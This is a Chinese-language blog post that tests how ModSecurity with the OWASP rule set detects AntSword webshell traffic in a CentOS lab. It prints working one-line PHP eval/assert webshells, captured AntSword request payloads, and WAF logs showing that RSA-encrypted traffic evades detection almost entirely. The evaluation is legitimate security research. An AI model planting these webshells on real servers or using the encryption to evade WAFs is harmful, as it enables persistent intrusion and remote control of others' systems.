Home > Article > Operation and Maintenance > What is the performance analysis of WAF on WebShell traffic detection?
从保留的截图来看,对方的php版本是5.6.40,所以我要搭一个apache+php5.6.40的测试环境。在virtualbox中打开,复制centos镜像系统链接,并按照以下步骤进行配置。
1. 安装apache
yum install -y httpd httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Aug 8 2019 11:41:18
2. 安装php5.6
yum -y install epel-release rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm yum -y install php56w php56w-mysql php56w-gd libjpeg* php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mbstring php56w-bcmath yum -y install httpd php-gd56w php-intl56w php-mysql56w mod_ssl openssl mcrypt php5-mcrypt56w yum -y install php56w-mcrypt php56w-soap php56w-intl php56w-pdo systemctl restart httpd.service php -v PHP 5.6.40 (cli) (built: Jan 12 2019 13:11:15) Copyright (c) 1997-2016 The PHP Group
做一个index.php用以显示phpinfo(),本机访问时为了测试方便关闭firewalld
systemctl stop firewalld //当然也可以通过firewall-cmd去开放端口
3. 为了后面查看攻击流量,再装一个wireshark,包含wireshark-gnome等等,直接用*替代了。
yum install wireshark*
4. 配置apache-modsecurity手边没有waf设备,没法对流量进行测试,于是用mode-security,以及OWASP(开放Web应用程序安全性项目)核心规则集-CRS进行测试,纵然效果不如实际场景来的直观,但足以说明问题。
yum -y install mod_security cd /etc/httpd git clone https://github.com/SpiderLabs/owasp-modsecurity- crs.git mv owasp-modsecurity-crs modsecurity.d cd modsecurity-crs cp crs-setup.conf.example crs-setup.conf vi /etc/httpd/conf/httpd.conf Include conf.modules.d/*.conf Include modsecurity.d/owasp-modsecurity-crs/crs-setup.conf Include modsecurity.d/owasp-modsecurity-crs/rules/*.conf systemctl restart httpd
我们将将modsecurity的默认配置修改为仅记录攻击事件,而不阻断其进程。
vim /etc/httpd/conf.d/mod_security.conf SecRuleEngine On (拦截) SecRuleEngine DetectionOnly 记录 tail -f /var/log/httpd/model/modsec_audit.log //查看拦截日志
测试一些攻击向量会在log里看到记录,证明配置完成。环境搭建完成。
首先写个一句话看看明文webshell流量传输。
vim test1.php <?php @eval($_POST['aaaa']); ?>
配置蚁剑进行连接
用wireshark查看测试连接的流量
POST /test1.php HTTP/1.1 Host: 192.168.1.13 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 993 Connection: close aaaa=@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "620e2fc"; echo @asenc($output); echo "71a0ccfbc1"; } ob_start(); try{ $D=dirname($_SERVER["SCRIPT_FILENAME"] //dirname()函数获取给定文件路径中的目录部分,而$_SERVER['SCRIPT_FILENAME']全局预定义变量用于获取当前执行脚本的完整路径 ); if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]); //如果没有获取到就用PATH_TRANSLATED,获取当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。Apache 2 用户可以使用httpd.conf 中的 AcceptPathInfo On 来定义 PATH_INFO。 $R="{$D}"; if(substr($D,0,1)!="/") { foreach(range("C","Z")as $L) if(is_dir("{$L}:"))$R.="{$L}:"; } else{$R.="/";} $R.=" "; //以上是判断windows或者linux盘符,进而把获取的目录信息存入变量 $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; //posix_getegid()返回当前进程的有效用户组ID,posix_geteuid()返回当前进程的有效用户ID $s=($u)?$u["name"]:@get_current_user(); //get_current_user()方法进行获得PHP当前脚本所有者名称 $R.=php_uname(); //php_uname返回运行 PHP 的系统的有关信息 $R.="{$s}"; echo $R;;} catch(Exception $e) {echo "ERROR://".$e->getMessage();} ; asoutput(); die();//输出 HTTP/1.1 200 OK Date: Wed, 29 Jan 2020 12:53:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 136 Connection: close Content-Type: text/html; charset=UTF-8 620e2fc/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache71a0ccfbc1
为了更加清楚antsword发出的流量包,我认真看了一下发的包,并查了一些相关函数,做注释的同时感叹了PHP函数的牛逼,并勾起了我的好奇心,对这几个函数做了本地测试。
<?php echo posix_getegid(); echo posix_getlogin(); echo get_current_user(); echo php_uname();
0 t1ger root Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64
果然牛逼!和返回包现象保持了一致。这句话可以这样重写:若直接探测明文,则该流量在waf面前毫无遮挡可言,相当于自动暴露身份
waf测试结果如下:
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] Message: Warning. ..... ..... Apache-Handler: php5-script Stopwatch: 1580358081210887 7750 (- - -) Stopwatch3: 1580358081210887 7750; combined=5379, p1=753, p2=4202, p3=42, p4=155, p5=227, sr=194, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0. Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 Engine-Mode: "DETECTION_ONLY"
统计数据如下,匹配规则数按照grep line|wc -l计算
Apache-Error | Message | 匹配规则数 | level |
---|---|---|---|
11 | 11 | 22 | 3 |
接下来我们先测对称密码。
Antsword自带几个可供测试的shell,给我们提供了非常大的方便。
我顺便贴一下代码。先来看看base64的代码
<?php $ant=base64_decode("YXNzZXJ0"); $ant($_POST['ant']); ?>
POST /php_assert_script.php HTTP/1.1 Host: 192.168.1.13 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 942 Connection: close ant=%40eval(%40base64_decode(%24_POST%5Bq9c4fa426fb243%5D))%3B&q9c4fa426fb243=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMzRhZTE3IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI1YmJhN2YiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw%3D%3D
经过base64加密后的流量,除了eval函数外,应至少不包含这么多的高危函数。加密后,我们可以再进行测试。
waf测试结果如下:
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file Message: Warning. Matched phrase "base64_decode" at ARGS:ant. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "301"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: base64_decode found within ARGS:ant: @eval(@base64_decode($_post[y07ae431d0730c]));"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] ... ...
统计数据如下
Apache-Error | Message | 匹配规则数 | level |
---|---|---|---|
7 | 7 | 14 | 3 |
通过Antsword界面配置rot13加密及解密,抓包看了下流量,仅仅是将base64的加密函数变成了str_rot13
ant=%40eval(%40base64_decode -> ant=%40eval(%40str_rot13(
拦截数据和base差不多,waf统计数据如下
Apache-Error | Message | 匹配规则数 | level |
---|---|---|---|
10 | 7 | 14 | 3 |
从中可见,即使使用对称加密算法,eval、base64和rot13等函数仍然可能引发较高级别的警告。笔者尝试使用antsword提供的非对称加密算法来减少触发告警的数量,与明文传输相比可以减少一半的告警。
从版本2.1.0开始,Antsword的作者添加了RSA模式。蚁剑默认下仅支持PHP。另外需要Server开启php_openssl拓展。
修改php.ini,去掉extension=php_openssl.dll前的注释,重启Apache
使用方法:
Antsword->系统设置->编码管理->新建编码器->PHP RSA->命名为rsa_php->点击RSA配置->生成
1、将下方的php代码copy到虚拟机里,命名为rsa.php
2、配置antsword连接类型选择rsa_php
3、测试连接
贴上wireshark抓的流量
POST /rsa.php HTTP/1.1 Host: 192.168.1.13 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 1712 Connection: close ant=W%2B9beN7Ltke390bzZGS5JbOBCnO8SRXW6Z8w0WaMF6CdAymaCu6NeWE9FX0kyCFs3jaLkDWkEvcTsSC2gEu85l5ugsVJUK6bTWFlVNeRBoezjTjUJZdjGvnjrxjd5Pn4iZaRjoaxAZPeZP2ozupbevWFUId4ZzkKZ7bIVPrZKk4%3D%7CYjt1kz5Gkj2N6Ajkqp3VXcg%2FEA7emPXV6oyTwZAZS9Ux1%2Fpby5PIuU9LsMZmGlMqGXvRFO23is9MUJpF66yboIAIYqpGRJCDgSP4S%2BfG6DD0lRYGEOIEsfpaLSVMhxZtR6OnFXp%2FfbXqmgGUk0a8HCUfQ83XmXS%2BRsl0Yx2PFc4%3D%7CAWtIrpychlQENib6basrK89LJcjnKk%2Bf5mVM72MOnPHxaviQFXws2TKNdGPI4SI9%2Fkwl%2FUGqB22s6NOwCza1f%2BkzGK7FqEciITMZMNFbokFsmjG8IiWkRO%2B%2BbWWnsMesfavJub9aEln41x8U97WjgKGKMMdqXZHrIRS4KU8pQhU%3D%7CXLL0DnlWOLx3hNXd2VGzmbdcgmtQoiyiiPNQCiBkAbUK1mLM14l6f22Pkl2tSSw%2F9dYIkdZ91wUok9GHDBMmKkL6D%2BJGQxrJDyQXEfytOzfzZmKqp%2BJ%2BryVm2zwLJMXTdpZ%2BUsBWgVzlD%2Bxga6%2F7rCqkG%2FtaWM6e%2BGegcS4lWTE%3D%7CJGJR50q4jSkL028qffvT%2Be%2BnJcMQth7jz86sntyuI3GZQUtjS5%2FoCByIqsGi8zPwCKS0J%2FAEiEGhAwN7%2FBQXYjyVWAs5VpDhPrVUs7EbqFgllVmrNt8T5Rt7O%2FCHVSiR2AQjyG%2BxB1LjO5ElX%2FH8Pfh35dDpVaFt3MEr1lxT69I%3D%7CSIirF52ZEhs%2FMBfco2kWouurB%2F%2FhCvLG29%2BK70a6t8Io%2FE%2F7VL5IO38s2j%2Bjq%2BSw6dUDL9cEUbEx2G2U4r0fHiDSYPbbn9WS6FbQSCPHxG6lxLHCXmmkKxj%2B2P8khyMM%2FHdVCWai%2B5L5hXYr%2BUWFkCkbv%2BUyYUSsfL29sGxWeVA%3D%7Ci1qZBSL6Dfu31cisSj3J%2BY7epLuQl62DdEWMCiZRQOz5AHFsPFsWtO59uedRC0CfMOhcbIDGGq2GNThL8VPz%2FUfLJTd3kuoFo7p225iPcYOKJS75V36ccHw3bMI3LOWcEhUF3LPX2YcaLSvwDDyHfrnWL2Qj6VmQKew8edoAIdU%3D%7CkJih4pPT70J6BiPll9o4PtH%2Byl%2BmB8%2BUPDAS%2FfAu4uzi2yDMCIdzdkaFLlnsUKewHXLf1mWWVpGkfqLCttgZed9wUtl6N22C3nQGZqZ%2FqnNiKeBYK0%2FJBmimOAf7nSMB1WF%2Bab5RmRq6cSSwrWc4ya93kVJzmIg1BdyaiycdN5I%3D%7CHV2y7vs6wQUIQ8DnvveCeD8xtjRecf%2F%2B7rAl7Y4Wa8S4Y0onKYHOz2Nz0hgBJtFN%2BLRIj9%2B%2FYyOq%2Fslq0XW%2BolQCUl5hf8%2F3Y9OmlxKvSCGf3A0IIAquqSaJXpU4w8rqVyP9Od2bgDXDzsOx8YgVdigeyZxLS0TNNODTGIATb7Y%3DHTTP/1.1 200 OK Date: Thu, 30 Jan 2020 05:47:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 133 Connection: close Content-Type: text/html; charset=UTF-8 8ee773/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache47970246
经历非对称加密算法之后,整个流量传输的数据除了length之外,肉眼已经分别不出来, 这个效果笔者比较满意.
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] Apache-Handler: php5-script Stopwatch: 1580363229118571 7666 (- - -) Stopwatch3: 1580363229118571 7666; combined=6153, p1=574, p2=5170, p3=39, p4=156, p5=213, sr=205, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0. Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 Engine-Mode: "DETECTION_ONLY"
| Apache-Error | Message | 匹配规则数 | level | | ------------ | ------- | ---------- | ----- | | 1 | 1 | 1 | -- |
waf也只能检测到Host header is a numeric IP address,这基本是说waf对于RSA加密的webshell流量基本没什么防护能力,往后的安全设备检测只能依赖于杀毒软件。
这样的加密程度对笔者本次实验来说已经够用了。然而,有许多许多问题仍然存在,例如绕过杀毒软件、代码混淆等等。每个方面都需要集中注意、细心和持久的投入。
The above is the detailed content of What is the performance analysis of WAF on WebShell traffic detection?. For more information, please follow other related articles on the PHP Chinese website!